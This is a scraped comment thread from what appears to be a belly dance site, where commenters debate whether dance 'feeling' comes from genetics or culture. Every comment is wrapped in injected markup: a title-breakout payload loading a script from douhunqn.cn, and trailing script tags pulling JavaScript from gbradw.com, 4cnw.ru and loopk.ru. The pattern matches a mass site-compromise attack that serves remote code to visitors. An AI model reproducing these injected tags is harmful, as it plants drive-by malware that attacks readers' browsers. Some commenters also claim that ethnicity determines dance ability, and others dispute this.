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| Title |
Morocco on 'Cabaret Bellydance |
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morocco |
Morocco on 'Cabaret Bellydance |
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| Comments |
| Ziad |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Dear Morocco,
Great article! Thank you for all the work you’ve done for the dance and the arts. Here is my big BUT...The issue with “genetics” and “automatic knowledge” has been a debate in every field and it’s no different in dance, whether it is belly dance, ballet, hip hop or any other form of dance. I happen to stand on the side of those that believe that “genetics” have a lot to do with our ability to perform whatever we’re doing and there is no question in my mind that it will take me many decades to learn a skill that another may be able to have without a single lesson. This has been exhibited in almost every profession and it’s no different in this form of dance. By the way, this doesn’t take any thing away from those who break their backs trying to learn how to dance. Yet, they still have the hardest time trying physically and emotionally…and many of those are the ones that should be rewarded the most. Oh …and thanks for “genetics” otherwise we wouldn’t have had
Da Vinci, Einstein or Mozart….
Ziad
<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| alWajdi |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I think what Rocky meant by her "genetics" comment was that just because, for example, one is Arab, doesn't mean they can dance raqs sharqi better than, say, a Swede.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Parthena |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Hi Aunt Rocky,
I so enjoy you. I grew up in NJ and you remind me of home with your eastern accent and words like "malarkey." You said: "MY main concern is truth in packaging & not to present the excellent theater forms of Fusion, Tribal, Goth, whatever as "real" or "authentic" Oriental, but under their own valid, rightful names."
Maybe it's because I am a dancer and when I get involved in something I do dorky things like check into its history - but if these branches of the dance are being misrepresented, I've not seen it. I've understood from the beginning that these styles are something that grew from "authentic" middle eastern dance. I can't think of any troupes, sites or shows that have omitted their rightful names. I have the BDSS Live at the Folies Bergere DVD and tribal was introduced to the audience as tribal.
I heard your comments in American Bellydancer and I do understand what you mean. My feeling is that while these unique styles should not be confused with authentic middle eastern dance, they still evolved from the original dance. They should not be separated or cut off because they are modern or American.
Maybe what we should be concerned with is the distinction between the dance as a folk dance and the dance as an art form. As a folk dance, I agree that tradition should be preserved. All art naturally changes and develops over time and dance is no exception. Personally, I think it's wonderful that dancers like Carolena Nerrichio have created new styles of the dance. As an art, oriental dance should be expected to change and those changes should be respected.
What do you think?<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Ziad |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Of course, I understand what Morocco meant about “genetics”, but “genetics” means a few things and I thought I would comment on this side of it. However, given that I am from the Middle East this point is mentioned often when I sit in with my family and friends (Arabic) and here is what they would normally say “hilow bas ma fi taami” or “ shatra kthir bas ma ainda hel ehassas” translation: “ beautiful but I can’t feel the taste” or “she’s very good but she doesn’t have the feeling”. Of course this may be just prejudice, but trust me there is some truth to it. A dancer can posess incredible technique but is unable to deliver with the right feelings. On the other hand an Arabic woman will stand up at a home gathering and she can barely perform one single “hip drop” and knows absolutely nothing about “undulation” but you can still feel her emotion, you can feel that she’s got something even though you can’t put your finger on it.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Blanca |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Hi Ziad,
What country are you from? Are you saying that only dancers born in Arab cultures can have a "Middle Eastern" feeling when they dance? Or have you ever encountered any Westerners that can actually have the same quality of movement/energy/feel of women of your culture?<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| alWajdi |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Agreed, Ziad, but that's *cultural* not *genetic*. If, for example, an American with no connection to Middle Eastern cultures adopts a baby from Lebanon, this baby is not going to automatically be able to express Arabic music in the Arabic way. If the baby was not adopted by a foreigner and remained in Lebanon, they'd probably have that "Arabic feeling". It's very important to realize distinctions between culture and biology.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| bellybliss |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I would like to say "Amen" to the last comment by AlWajdi. Being half Lebanese myself, I have often heard from people" that's why you dance as you do" This seems to negate all the hard work and training I did and still do. When I first began to bellydance, I came from an extensive ballet background and these moves were totally foreign to me. It took years to feel comfortable. My Lebanese father was born in the U.S. (so was I) I had some limited exposure to the music and Dabkah dance, but belly dance exposure was pretty much nil. I have learned so much from teachers(many of them American) and also from watching amateur dancers who grew up within the Middle Eastern culture who just dance for fun and self-expression. But I do agree that sometimes a simple hip drop done with feeling has more of an impact that a whirlwind of amazing technique.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Ziad |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I sympathize with one’s desire and need to give themselves all the credit to what they have achieved and how hard they worked to get somewhere without giving any credit whatsoever to any gene that may have helped along the way… after all it’s much more empowering and elevating to say “I worked very hard to get where I am” “I did it all by myself” “I wasn’t born with it..” and so on.. This is all good and partially true, but hold on just a second…It is essential to understand how cultural practices, meanings, and values are being created and transformed as genetics and society continue to develop in a mutually constitutive relationship. As much as cultures are socio-historical entities, they are also dynamic. This characterization is what I call the cultures that produce genetics. This, my friend is our evolutionary biology. Of course the complexity of our genetic makeup and its relation to whom we are as individuals and social beings, our mental states, social interactions and all of the environments that are involved in the development of bodies over the course of our life could not be explained in a simple thought nor do I profess to know it all. I’m simply saying that what our ancestors practiced and what we practice is carried over in our gene somewhere, just like there is muscular memory to what we do over and over and over. There is also on a much larger scale, if I may, the genetic memory of a cultural practice and behavior. You may say “my mother never danced and neither did my dad, then why do I like to dance”? Is it as simple as this? Surely not! And you may not have an idea if one of your ancestors was a dancer or a musician …or maybe you will be the one to start something new for those that will come from you …We often hear statistics how the Japanese are good at “this”, or how Indians are good at “that” it’s not just culture its something that is carried in the genetic makeup of that culture based on many causes one of which is the culture’s practices for centuries.
Mr. Alwajdi, I realize very well the distinction between culture and biology, but don’t think that there is no connection between the two. And Nadia, have you ever considered why you may be attracted to this form of dance and not ballet even though you started your career with it? Could it be …just maybe that it had something to do with your ancestors??? By the way you don’t have to be ashamed of the fact that where you come from may have something to do with your ability to dance this way (not that you are)…and it surely doesn’t make you any less of a dancer and it doesn’t have to negate the fact that you had to work very hard to get where you are. I never implied that genes are all you need, but to say “Can it” is intellectually dishonest. I believe without a doubt that you can achieve the feeling even though you had nothing to do with the culture. A true love to this dance can certainly give you a major advantage over others that do it just for the money. Yes, I have seen westerners that dance with true feelings and much better than professionals from Egypt or Lebanon, but not that many. And to answer Blanca’s other question, I’m from Lebanon.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Rena |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I know I may deviate a little from Rocky's article, which incidentally, was very enlightening, however, I agree with you Ziad. Although I'm an American belly dancer and many Middle Easterners (Turkish, Lebanese, Egyptians, etc.) as well as other cultures have complimented me on the way I dance, I still believe there is something that a Middle Eastern dancer has that cannot be duplicated as far as that "feeling" you were referring to. I have seen many dancers perform, both Middle Easterners and Westerners and while they are both professionals, there is definitely something which cannot be denied in the movement of the Eastern dancer versus the Western one. I work hard and try by all means to perform with that same "feeling", because it really does shine through in a unique performance. It is similar to what happens with us as Latinos (that is my culture). Although I'm not a formally trained Latin dancer, I grew up doing it, watching my parents do it since I was very little, doing it at house parties, on the street with my friends, etc. Many professional Latin dancers will still tell me that I dance with a certain "passion", a certain "feeling". THAT is that something which cannot be duplicated because it is in our blood. It's the same (I believe) with the Middle Eastern culture... when they dance with that "feeling" as we've discussed, simply put, it is in their blood.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| alWajdi |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Yes, that is *culture* NOT *genetics*. Saying a Lebanese is better at raqs sharqi than a German because of their genes is entirely unscientific and, frankly, silly. My ancestry is Irish, English, Welsh, etc., but if I had been adopted into an Egyptian family as a newborn and raised in that culture, surrounded by that music, a member of that culture, I would have the Egyptian *feeling* and probably would be a better dancer than I am today.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Ziad |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I read your response and I gathered few things; you either didn’t read a word I wrote, you are so threatened by the this indisputable fact or you’re simply in a very serious denial…that’s totally fine, after all it’s your prerogative to think whatever you want to think. Here is a joke about biology; do you know why we were given two ears but only one mouth? You guess it… so we can listen more than we talk. Hey no offense it’s only a joke :-) I'll leave you the last word..<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| alWajdi |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Actually I read every word you wrote several times over, to make sure I understood what you were trying to say, as I know misinterpretation happens so often over the internet.
What "indisputable fact" is it that you are referring to? I don't know how much you've studied genetics, so I have no way of knowing how much authority you have on the subject. Memes are not transported through genes - memes are transported culturally. If it were true that cultural values and aesthetics were passed on through our genes, I'd be a better Irish dancer than any Zimbabwean that comes along - which would be an absurd thing to believe.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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